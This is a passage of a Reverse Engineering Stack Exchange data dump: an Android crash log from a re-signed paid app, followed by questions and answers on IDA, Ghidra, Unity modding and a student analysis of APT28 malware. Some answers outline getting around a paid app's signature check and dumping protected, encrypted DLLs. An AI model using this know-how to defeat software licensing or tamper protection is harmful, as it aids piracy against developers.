(ExecuteMterpImpl+14484)&#xA;12-04 15:44:57.479 12009 12009 F DEBUG   :     #28 pc 000000000022d294  /data/app/org.skvalex.cr-sCqMqKZxZt2LSttfu5oWig==/oat/arm64/base.vdex (o.IIIIooIl$1.oooooooo)&#xA;12-04 15:44:57.479 12009 12009 F DEBUG   :     #29 pc 0000000000254144  /system/lib64/libart.so (_ZN3art11interpreterL7ExecuteEPNS_6ThreadERKNS_20CodeItemDataAccessorERNS_11ShadowFrameENS_6JValueEb.llvm.1714131630+488)&#xA;12-04 15:44:57.479 12009 12009 F DEBUG   :     #30 pc 0000000000259c38  /system/lib64/libart.so (art::interpreter::ArtInterpreterToInterpreterBridge(art::Thread*, art::CodeItemDataAccessor const&amp;amp;, art::ShadowFrame*, art::JValue*)+216)&#xA;12-04 15:44:57.479 12009 12009 F DEBUG   :     #31 pc 000000000027a424  /system/lib64/libart.so (bool art::interpreter::DoCall&amp;lt;false, false&amp;gt;(art::ArtMethod*, art::Thread*, art::ShadowFrame&amp;amp;, art::Instruction const*, unsigned short, art::JValue*)+940)&#xA;12-04 15:44:57.479 12009 12009 F DEBUG   :     #32 pc 0000000000529cf0  /system/lib64/libart.so (MterpInvokeVirtualQuick+584)&#xA;12-04 15:44:57.479 12009 12009 F DEBUG   :     #33 pc 000000000054d994  /system/lib64/libart.so (ExecuteMterpImpl+29972)&#xA;12-04 15:44:57.479 12009 12009 F DEBUG   :     #34 pc 000000000022d588  /data/app/org.skvalex.cr-sCqMqKZxZt2LSttfu5oWig==/oat/arm64/base.vdex (o.IIIIooIl$oooooooo.oooooool)&#xA;12-04 15:44:57.479 12009 12009 F DEBUG   :     #35 pc 0000000000254144  /system/lib64/libart.so (_ZN3art11interpreterL7ExecuteEPNS_6ThreadERKNS_20CodeItemDataAccessorERNS_11ShadowFrameENS_6JValueEb.llvm.1714131630+488)&#xA;12-04 15:44:57.479 12009 12009 F DEBUG   :     #36 pc 0000000000259c38  /system/lib64/libart.so (art::interpreter::ArtInterpreterToInterpreterBridge(art::Thread*, art::CodeItemDataAccessor const&amp;amp;, art::ShadowFrame*, art::JValue*)+216)&#xA;12-04 15:44:57.479 12009 12009 F DEBUG   :     #37 pc 000000000027a424  /system/lib64/libart.so (bool art::interpreter::DoCall&amp;lt;false, false&amp;gt;(art::ArtMethod*, art::Thread*, art::ShadowFrame&amp;amp;, art::Instruction const*, unsigned short, art::JValue*)+940)&#xA;12-04 15:44:57.479 12009 12009 F DEBUG   :     #38 pc 0000000000527fec  /system/lib64/libart.so (MterpInvokeDirect+296)&#xA;12-04 15:44:57.479 12009 12009 F DEBUG   :     #39 pc 0000000000549d14  /system/lib64/libart.so (ExecuteMterpImpl+14484)&#xA;12-04 15:44:57.479 12009 12009 F DEBUG   :     #40 pc 000000000022d5a4  /data/app/org.skvalex.cr-sCqMqKZxZt2LSttfu5oWig==/oat/arm64/base.vdex (o.IIIIooIl$oooooooo.oooooooo)&#xA;12-04 15:44:57.479 12009 12009 F DEBUG   :     #41 pc 0000000000254144  /system/lib64/libart.so (_ZN3art11interpreterL7ExecuteEPNS_6ThreadERKNS_20CodeItemDataAccessorERNS_11ShadowFrameENS_6JValueEb.llvm.1714131630+488)&#xA;12-04 15:44:57.479 12009 12009 F DEBUG   :     #42 pc 0000000000259c38  /system/lib64/libart.so (art::interpreter::ArtInterpreterToInterpreterBridge(art::Thread*, art::CodeItemDataAccessor const&amp;amp;, art::ShadowFrame*, art::JValue*)+216)&#xA;12-04 15:44:57.479 12009 12009 F DEBUG   :     #43 pc 000000000027a424  /system/lib64/libart.so (bool art::interpreter::DoCall&amp;lt;false, false&amp;gt;(art::ArtMethod*, art::Thread*, art::ShadowFrame&amp;amp;, art::Instruction const*, unsigned short, art::JValue*)+940)&#xA;12-04 15:44:57.479 12009 12009 F DEBUG   :     #44 pc 00000000005281b0  /system/lib64/libart.so (MterpInvokeStatic+204)&#xA;12-04 15:44:57.479 12009 12009 F DEBUG   :     #45 pc 0000000000549d94  /system/lib64/libart.so (ExecuteMterpImpl+14612)&#xA;12-04 15:44:57.479 12009 12009 F DEBUG   :     #46 pc 000000000022d470  /data/app/org.skvalex.cr-sCqMqKZxZt2LSttfu5oWig==/oat/arm64/base.vdex (o.IIIIooIl$oooooooo$1.run+4)&#xA;12-04 15:44:57.479 12009 12009 F DEBUG   :     #47 pc 0000000000254144  /system/lib64/libart.so (_ZN3art11interpreterL7ExecuteEPNS_6ThreadERKNS_20CodeItemDataAccessorERNS_11ShadowFrameENS_6JValueEb.llvm.1714131630+488)&#xA;12-04 15:44:57.479 12009 12009 F DEBUG   :     #48 pc 0000000000517540  /system/lib64/libart.so (artQuickToInterpreterBridge+1020)&#xA;12-04 15:44:57.479 12009 12009 F DEBUG   :     #49 pc 00000000005606fc  /system/lib64/libart.so (art_quick_to_interpreter_bridge+92)&#xA;12-04 15:44:57.479 12009 12009 F DEBUG   :     #50 pc 0000000000b224cc  /system/framework/arm64/boot-framework.oat (offset 0x41e000) (android.os.Handler.dispatchMessage+76)&#xA;12-04 15:44:57.479 12009 12009 F DEBUG   :     #51 pc 0000000000b25630  /system/framework/arm64/boot-framework.oat (offset 0x41e000) (android.os.Looper.loop+1264)&#xA;12-04 15:44:57.479 12009 12009 F DEBUG   :     #52 pc 0000000000b244d4  /system/framework/arm64/boot-framework.oat (offset 0x41e000) (android.os.HandlerThread.run+548)&#xA;12-04 15:44:57.479 12009 12009 F DEBUG   :     #53 pc 0000000000557588  /system/lib64/libart.so (art_quick_invoke_stub+584)&#xA;12-04 15:44:57.479 12009 12009 F DEBUG   :     #54 pc 00000000000cfcc8  /system/lib64/libart.so (art::ArtMethod::Invoke(art::Thread*, unsigned int*, unsigned int, art::JValue*, char const*)+200)&#xA;12-04 15:44:57.479 12009 12009 F DEBUG   :     #55 pc 000000000045e1ec  /system/lib64/libart.so (art::(anonymous namespace)::InvokeWithArgArray(art::ScopedObjectAccessAlreadyRunnable const&amp;amp;, art::ArtMethod*, art::(anonymous namespace)::ArgArray*, art::JValue*, char const*)+104)&#xA;12-04 15:44:57.479 12009 12009 F DEBUG   :     #56 pc 000000000045f2a8  /system/lib64/libart.so (art::InvokeVirtualOrInterfaceWithJValues(art::ScopedObjectAccessAlreadyRunnable const&amp;amp;, _jobject*, _jmethodID*, jvalue*)+424)&#xA;12-04 15:44:57.479 12009 12009 F DEBUG   :     #57 pc 000000000048a6c8  /system/lib64/libart.so (art::Thread::CreateCallback(void*)+1120)&#xA;12-04 15:44:57.479 12009 12009 F DEBUG   :     #58 pc 0000000000083840  /system/lib64/libc.so (__pthread_start(void*)+36)&#xA;12-04 15:44:57.479 12009 12009 F DEBUG   :     #59 pc 0000000000023d80  /system/lib64/libc.so (__start_thread+68)&#xA;12-04 15:44:57.543  3504  3504 I SKBD    : anc isTosAccept false&#xA;12-04 15:44:57.682  1044  1044 E /system/bin/tombstoned: Tombstone written to: /data/tombstones/tombstone_09&#xA;12-04 15:44:57.683  1358 12012 W ActivityManager: crash : org.skvalex.cr,0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Does anyone have any idea what could be going wrong here or why it might crash from only changing the signature?&#xA;I tried googling some of the errors in here but only found results for developers debugging their apps.&lt;/p&gt;&#xA;&lt;p&gt;This is a paid app so it ocurred to me that this may be some sort of tamper-protection or something like that?&lt;/p&gt;&#xA;" OwnerUserId="33152" LastActivityDate="2020-12-08T15:05:55.353" Title="apk crashed on launch when re-signed with debug key" Tags="|android|apk|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26475" PostTypeId="2" ParentId="26473" CreationDate="2020-12-08T00:20:17.607" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://man7.org/linux/man-pages/man2/mmap.2.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://man7.org/linux/man-pages/man2/mmap.2.html&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Relevant section pertaining to the &lt;code&gt;flags&lt;/code&gt; argument (emphasis added):&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;MAP_ANONYMOUS:&#xA;The mapping is not backed by any file; its contents are&#xA;initialized to zero. &lt;strong&gt;The fd argument is ignored; however,&#xA;some implementations require fd to be -1 if MAP_ANONYMOUS (or&#xA;MAP_ANON) is specified, and portable applications should&#xA;ensure this.&lt;/strong&gt;  The offset argument should be zero.  The use of&#xA;MAP_ANONYMOUS in conjunction with MAP_SHARED is supported on&#xA;Linux only since kernel 2.4.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;While this seems like a likely explanation, it isn't a 100% guarantee on its own. You could find further proof by looking at the headers for the system you're REing to confirm that &lt;code&gt;MAP_ANONYMOUS&lt;/code&gt; is indeed being used as part of the flags.&lt;/p&gt;&#xA;" OwnerUserId="18563" LastActivityDate="2020-12-08T00:20:17.607" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26477" PostTypeId="1" CreationDate="2020-12-08T09:01:54.127" Score="2" ViewCount="35" Body="&lt;p&gt;So, I have ARM code which uses R7 as the register to access the stack variables:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/66oXl.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/66oXl.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;In the first basic block IDA successfully identified R7 as stack pointer and created the variables. But then, after 40123C, there's still code which references stack variables via R7, and IDA didn't create the variables. If I press K on [R7,#4] it creates the stack variable at +4 offset:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/i4Bhq.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/i4Bhq.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Where in fact, it should have created the variable at -0x14.&lt;/p&gt;&#xA;&lt;p&gt;Is there any way I can make IDA create stack variable at those LDR R3, [R7,#4] properly?&lt;/p&gt;&#xA;" OwnerUserId="22324" LastActivityDate="2020-12-08T09:01:54.127" Title="Creating stack variables when they are addressed by non-SP register" Tags="|ida|stack|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26478" PostTypeId="1" AcceptedAnswerId="26926" CreationDate="2020-12-08T13:54:21.537" Score="0" ViewCount="4829" Body="&lt;p&gt;I've been looking into reverse engineering a game developped with Unity 2017.4.10, to find a way to get a freely controlled camera. I found the values that interest me in Managed/Assembly-CSharp.dll and figured out how to modify them with dnSpy, however any changes to this dll don't have any effect in-game. Using VMMap told me the game doesn't load the Assembly-CSharp.dll at all, and I assume the code for the game is in UnityPlayer.dll. That dll seems to be obfuscated, since dnSpy is unable to read it beyond hex.&lt;/p&gt;&#xA;&lt;p&gt;My question is two-fold:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Is there a way to decompile UnityPlayer.dll in a more readable way?&lt;/li&gt;&#xA;&lt;li&gt;Is it perhaps possible to inject the successfully modified Assembly-CSharp.dll into the game to replace functions loaded from UnityPlayer.dll?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="35187" LastActivityDate="2021-02-04T16:11:11.053" Title="Modifying UnityPlayer.dll with dnSpy or other" Tags="|decompilation|game-hacking|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26479" PostTypeId="2" ParentId="26474" CreationDate="2020-12-08T15:05:55.353" Score="1" Body="&lt;p&gt;The app could be checking if its signature matches the signature of the key used to sign it.&lt;/p&gt;&#xA;&lt;p&gt;Refer to &lt;a href=&quot;https://stackoverflow.com/questions/17548756/how-to-verify-that-app-was-signed-by-my-certificate&quot;&gt;this SO post&lt;/a&gt; on how an android app can perform such a check.&lt;/p&gt;&#xA;&lt;p&gt;One way you may try to bypass the signature is to replace the reference signature in the apk with that of your key, after doing some reverse engineering of the apk. You may get information related to the signing key &lt;a href=&quot;https://stackoverflow.com/questions/11331469/how-do-i-find-out-which-keystore-was-used-to-sign-an-app&quot;&gt;through the command line&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="30460" LastActivityDate="2020-12-08T15:05:55.353" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26480" PostTypeId="1" CreationDate="2020-12-08T15:12:37.147" Score="1" ViewCount="1855" Body="&lt;p&gt;&lt;strong&gt;The context:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;For a student project which goal is to make us learn reverse engineering and how to use IDA Pro, we have to reverse engineer the APT28 hospitality malware (as described in this blog post: &lt;a href=&quot;https://blog.xpnsec.com/apt28-hospitality-malware-part-2/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blog.xpnsec.com/apt28-hospitality-malware-part-2/&lt;/a&gt;)&lt;/p&gt;&#xA;&lt;p&gt;For this matter, we are provided with IDA Educational licenses (version 7.5) and the malicious Word file. After extracting the malware from the Word file, we can start reverse engineering the malware.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;The problem:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;As you can see in the blog post, it's possible (some way or the other) to make IDA decode the strings that are set in the &lt;code&gt;load&lt;/code&gt; function (the following screenshot is from the blogpost):&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/aH8ad.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/aH8ad.png&quot; alt=&quot;Decoded strings in the load function, screenshot taken from the blogpost&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;However, when we tried to reproduce this, we couldn't find a way to do it. If I'm not mistaken, each &lt;code&gt;mov&lt;/code&gt; instruction actually puts 2 characters encoded in 16-bit (widechar) unicode (UTF-8) into the specified address (found by applying an offset to &lt;code&gt;ebp&lt;/code&gt;). We can confirm this by looking at the malware in Ghidra:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/u5Skh.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/u5Skh.png&quot; alt=&quot;The same section in Ghidra, showing that the values are 16-bit encoded Unicode characters&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;What I tried:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;I tried to change the value of the &lt;code&gt;ENCODING&lt;/code&gt; variable in &lt;code&gt;ida.cfg&lt;/code&gt; so that auto-analysis recognizes UTF-8. (based on this: &lt;a href=&quot;https://www.hex-rays.com/products/ida/news/7_0/docs/strlits/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.hex-rays.com/products/ida/news/7_0/docs/strlits/&lt;/a&gt;)&lt;/p&gt;&#xA;&lt;p&gt;Based on this page &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/1734/ida-convert-to-unicode&quot;&gt;IDA Convert to Unicode&lt;/a&gt; I tried 2 things:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Select the value I wanted to convert, use &lt;code&gt;Alt&lt;/code&gt;-&lt;code&gt;A&lt;/code&gt;, and choose &lt;code&gt;Unicode C-style (16 bits)&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Select all the addresses where the values are stored (in the &lt;code&gt;Stack of load&lt;/code&gt; section), convert them to a String with &lt;code&gt;A&lt;/code&gt;, then try to convert to &lt;code&gt;Unicode C-style&lt;/code&gt; again.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;When I try these 2 things, I end up with the following in the output window:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Command &amp;quot;SetStrlitStyle&amp;quot; failed.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;End goal:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Ultimately, I can continue the work with Ghidra, but the goal is to actually learn new things about IDA and be able to use it correctly. There must be something I don't understand and I would love to increase my knowledge about this tool. We tried asking the teacher but he didn't know how to do it either.&lt;/p&gt;&#xA;&lt;p&gt;Any help would be really appreciated.&lt;/p&gt;&#xA;" OwnerUserId="35188" LastActivityDate="2020-12-09T16:12:15.890" Title="How to convert hexadecimal values to 16-bit Unicode in IDA Pro 7.5?" Tags="|ida|encodings|strings|pe32|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="26481" PostTypeId="1" AcceptedAnswerId="26485" CreationDate="2020-12-08T15:22:37.013" Score="1" ViewCount="941" Body="&lt;p&gt;I have an executable with 2 .dll calls 1 of this dll is guard.dll others name is guardlib.dll both of them is encrypted c++ library file and they are called before executable entry point.&lt;/p&gt;&#xA;&lt;p&gt;I can bypass anti-debug with x32dbg and now ı want to extract decrypted dll with debugger is that possible&lt;/p&gt;&#xA;&lt;p&gt;Also this dlls are creating HWID with apı calls and registery keys (I think) Is there a way to have a look at what registry keys are looking for?&lt;/p&gt;&#xA;&lt;p&gt;If anyone wants to help me please contact me :)&lt;/p&gt;&#xA;" OwnerUserId="35189" LastActivityDate="2020-12-08T19:02:14.710" Title="how can ı debug encrypted dll with x32dbg and look getregistery request" Tags="|debugging|c++|dll|x64dbg|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26483" PostTypeId="2" ParentId="26456" CreationDate="2020-12-08T17:26:16.193" Score="9" Body="&lt;p&gt;Since local variables are usually placed on the stack in &lt;code&gt;x86&lt;/code&gt; and &lt;code&gt;esp&lt;/code&gt; register can change during function execution, it is more convenient to save the value of &lt;code&gt;esp&lt;/code&gt; register on function entry and access data relatively to that value. &lt;code&gt;ebp&lt;/code&gt; register is used for this purpose. So you will often see&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;push ebp&#xA;mov ebp, esp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;lines at the begining of functions. In the example you have provided it is the case - all local variables are accessed this way, through &lt;code&gt;ebp&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Now, there are two different naming conventions for local variables:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;first and more natural one: if &lt;code&gt;[ebp - xxx]&lt;/code&gt; is accessed, it will be displayed as &lt;code&gt;[ebp + local_xxx]&lt;/code&gt;. Here, &lt;code&gt;local_xxx = -xxx&lt;/code&gt;, so for instance, &lt;code&gt;local_18 = -0x18&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;second and less intuitive one makes use of the &lt;code&gt;esp&lt;/code&gt; value at the beginning of a function. In your example, two dwords are pushed on the stack before &lt;code&gt;mov ebp, esp&lt;/code&gt; line. It means, that if some local variable was called &lt;code&gt;local_xxx&lt;/code&gt; in the first convention, in the second one it will be named &lt;code&gt;local_xxx+0x8&lt;/code&gt;, for instance &lt;code&gt;local_18&lt;/code&gt; in the first one will be &lt;code&gt;local_20&lt;/code&gt; in the second one, used by Ghidra.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Why do we add &lt;code&gt;0x8&lt;/code&gt; in the second one? Because two dwords (&lt;code&gt;8&lt;/code&gt; bytes) were pushed onto the stack before &lt;code&gt;esp&lt;/code&gt; value was saved into &lt;code&gt;ebp&lt;/code&gt; and in &lt;code&gt;x86&lt;/code&gt; architecture stack &amp;quot;grows downwards&amp;quot;, which means if you push something onto it, this value will be saved there and &lt;code&gt;esp&lt;/code&gt; will be &lt;em&gt;decreased&lt;/em&gt; accordingly (in this case, twice, by &lt;code&gt;4&lt;/code&gt; bytes). So, in your particular example, you have the instruction&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;mov    DWORD PTR [ebp-0xc],0x80a6b19&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;which would be displayed as&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;mov    DWORD PTR [ebp+local_c],0x80a6b19&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;in the first convention and&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;mov    DWORD PTR [ebp+local_14],0x80a6b19&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;in the second one, implemented in Ghidra, since &lt;code&gt;0xc + 0x8 = 0x14&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="27930" LastActivityDate="2020-12-08T17:26:16.193" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="26485" PostTypeId="2" ParentId="26481" CreationDate="2020-12-08T19:02:14.710" Score="1" Body="&lt;p&gt;Instead of trying to dump the encrypted executable, it may be better to just monitor the API calls at runtime using something like &lt;a href=&quot;http://www.rohitab.com/apimonitor&quot; rel=&quot;nofollow noreferrer&quot;&gt;Rohitab API Monitor&lt;/a&gt;. This is usually the easiest approach in cases where you can get the executable to run the code of interest. It also gives you the address of the calling code and call stack information, which you can then look at in your debugger in order to get a better idea of what's happening around the call site.&lt;/p&gt;&#xA;&lt;p&gt;If you do need to dump the decrypted binary from memory, take a look at &lt;a href=&quot;https://github.com/glmcdona/Process-Dump&quot; rel=&quot;nofollow noreferrer&quot;&gt;Process Dump&lt;/a&gt;. You can target the running process after the DLL decryption process has been completed and it'll produce a reconstructed PE file. It's also pretty good at recovering PEs that have been mangled in memory by anti-debug and anti-dumping tricks.&lt;/p&gt;&#xA;" OwnerUserId="1351" LastActivityDate="2020-12-08T19:02:14.710" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26486" PostTypeId="2" ParentId="26480" CreationDate="2020-12-08T20:38:21.300" Score="2" Body="&lt;p&gt;The page you linked states that the &lt;code&gt;ENCODING&lt;/code&gt; directive in the cfg file only applies to 1-byte-per-unit (1bpu) encodings, which this is not. UTF-16 is a 2bpu format.&lt;/p&gt;&#xA;&lt;p&gt;The &lt;code&gt;ENCODING&lt;/code&gt; directive is important because 1bpu characters are encoded differently depending on your culture. The values in the character table between 32 and 126 are usually the same, matching ASCII, but the low values and extended half (127-255) depend on  the which alphabet encoding is being used, which is defined by the current culture. These encodings are defined in ISO 8859, which defines 14 different encodings for different cultures. ISO 8859-1 (Latin-1) is the most widely used, but other notable parts include 8859-5 (Cyrillic), 8859-6 (Arabic), and 8859-8 (Hebrew).&lt;/p&gt;&#xA;&lt;p&gt;This then gets a little more complicated, because each implementation of these character sets (often referred to as codepages) is a little different. While ISO 8859-1 &amp;quot;Latin-1&amp;quot; is commonly considered to be the defining standard for Latin languages, you're significantly more likely to see Windows-1252 in practice, which is backward-compatible with ISO 8859-1 but includes many extended characters and defines encodings for control codes like &lt;code&gt;\r&lt;/code&gt; and &lt;code&gt;\n&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;As you can imagine, this is effectively impossible to guess at the time of analysis. It's also tricky because UTF-8 is a variable length multibyte encoding that uses 1bpu a lot of the time for basic ASCII-range characters. The word &lt;code&gt;cafe&lt;/code&gt; encodes to the same bytes in ASCII, ISO 8859-1, Windows-1252, and UTF-8. But add an accent on the e, to get &lt;code&gt;café&lt;/code&gt;, and the encodings vary, with plain ASCII having no codepoint for &lt;code&gt;é&lt;/code&gt;, ISO 8859-1 and Windows-1252 both encoding it as &lt;code&gt;E9&lt;/code&gt;, and UTF-8 encoding it as &lt;code&gt;C3A9&lt;/code&gt;. If you try to do this in reverse, ISO 8859-1 and Windows-1252 will turn &lt;code&gt;C3A9&lt;/code&gt; into &lt;code&gt;Ã©&lt;/code&gt;, which is completely valid but obviously not what was intended.&lt;/p&gt;&#xA;&lt;p&gt;When you load a binary, IDA attempts to guess which 1bpu encoding was used based on the OS's current language settings. It uses that detected encoding (e.g. Windows-1252) in order to decode any 1bpu string literal bytes that it finds, into readable characters. If it can't guess, it defaults to UTF-8.&lt;/p&gt;&#xA;&lt;p&gt;If the detected encoding isn't UTF-8, IDA then picks a &lt;em&gt;culture&lt;/em&gt; based on the character encoding it picked. Each culture is defined in a &lt;code&gt;.clt&lt;/code&gt; file and defines a number of common characters that exist outside of the common (ASCII-like) range for that particular culture. This is then used when detecting if a sequence of bytes might be a string literal. If the culture is incorrectly detected, IDA will still be able to identify ASCII strings, but strings with extended characters (e.g. &lt;code&gt;café&lt;/code&gt;) might just show up as hexadecimal.&lt;/p&gt;&#xA;&lt;p&gt;In short: for 1bpu strings, IDA detects the &lt;em&gt;encoding&lt;/em&gt; in order to be able to turn bytes into readable strings, and (unless it's UTF-8) it uses a &lt;em&gt;culture&lt;/em&gt; definition to detect string literals that contain extended codepoints.&lt;/p&gt;&#xA;&lt;p&gt;The reason that UTF-8 is unaffected by these issues is that UTF-8 is just UTF-8 - the codepoints are the same everywhere regardless of the current culture or language.&lt;/p&gt;&#xA;&lt;p&gt;IDA offers two config directives that can affect this process. The first is &lt;code&gt;ENCODING&lt;/code&gt;, which overrides that first step and provides a specific character encoding to be used for decoding 1bpu characters. The second is &lt;code&gt;CULTURE&lt;/code&gt;, which tells IDA which &lt;code&gt;.clt&lt;/code&gt; file to use in order to detect which literals might be strings in the program.&lt;/p&gt;&#xA;&lt;p&gt;Your situation is entirely unaffected by this, so setting &lt;code&gt;ENCODING&lt;/code&gt; or &lt;code&gt;CULTURE&lt;/code&gt; won't help you. UTF-16 is a 2bpu encoding that, like UTF-8, does not have different encodings depending on culture.&lt;/p&gt;&#xA;&lt;p&gt;Unfortunately, I'm unclear as to why you're having that specific problem. The first thing to check is that you haven't selected the &amp;quot;character terminated&amp;quot; option in the string literal style dialog, as those individual instruction operands are not terminated strings. The only other thing I would suggest is attempting to interpret the strings as big-endian (UTF16-BE) in case IDA is attempting to convert the byte order incorrectly.&lt;/p&gt;&#xA;" OwnerUserId="1351" LastActivityDate="2020-12-08T20:38:21.300" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26487" PostTypeId="1" AcceptedAnswerId="26498" CreationDate="2020-12-09T04:23:34.140" Score="2" ViewCount="962" Body="&lt;p&gt;I'm analyzing a C++ PE binary with its debug symbols using IDA 7.3 w/ the decompiler.&lt;/p&gt;&#xA;&lt;p&gt;I'm using the HexRaysPyTools plugin to get the xrefs to class fields, but it doesn't show xrefs to virtual functions.&lt;/p&gt;&#xA;&lt;p&gt;I want to know if there is an existing similar plugin that can build the xref list for calls to virtual functions statically (ie. without running the code).&lt;/p&gt;&#xA;&lt;p&gt;As far as I can understand the behavior of HexRaysPyTools, it should be trivial to do that as the IDA decompiler already recognize virtual function calls when decompiling, I just need it to store the xref list to virtual functions just as HexRaysPyTools does with member fields.&lt;/p&gt;&#xA;" OwnerUserId="21752" LastActivityDate="2021-09-01T02:27:33.197" Title="IDA plugin to show xrefs to virtual functions?" Tags="|ida|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26491" PostTypeId="2" ParentId="22803" CreationDate="2020-12-09T14:44:51.663" Score="0" Body="&lt;p&gt;File-less malware samples usually mean they are stored in memory.  The malware still exists, but hides its tracks differently and doesn't write to disk.  It is still possible to extract those files and write them to analyze where it then might be found in a malware repository or antivirus scanning service.&lt;/p&gt;&#xA;&lt;p&gt;There are a few places to download malware listed here:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/Virus-Samples/Malware-Sample-Sources&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/Virus-Samples/Malware-Sample-Sources&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="34928" LastActivityDate="2020-12-09T14:44:51.663" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26493" PostTypeId="2" ParentId="26480" CreationDate="2020-12-09T16:12:15.890" Score="0" Body="&lt;p&gt;The main problem is that all of the string literals options or commands apply to &lt;em&gt;string literals&lt;/em&gt;, i.e. a sequence of characters or code points. In your sample there is no complete literal; it’s built from pieces into a stack variable. For 8-bit (ASCII) strings you could use the R hot key to convert numbers into character constants (e.g. 65h -&amp;gt; ‘A’), however this does not work for UTF-16 fragments because of embedded zeroes.&lt;/p&gt;&#xA;&lt;p&gt;I think the best you can do is collect the values copied onto the stack contiguously (e.g. ebp-14h, then ebp-10h etc.), reconstruct the corresponding array in another memory area or a script and then decode that as UTF-16.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-12-09T16:12:15.890" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26494" PostTypeId="2" ParentId="26467" CreationDate="2020-12-09T16:17:16.440" Score="1" Body="&lt;p&gt;Just to add to the previous answer, “cleaning” here is not used in the literal sense but to indicate the the code returns the stack pointer (&lt;code&gt;esp&lt;/code&gt;) to the value it had before the call. Unfortunately this term is quite entrenched so will probably continue to confuse new learners in future as well.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-12-09T16:17:16.440" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
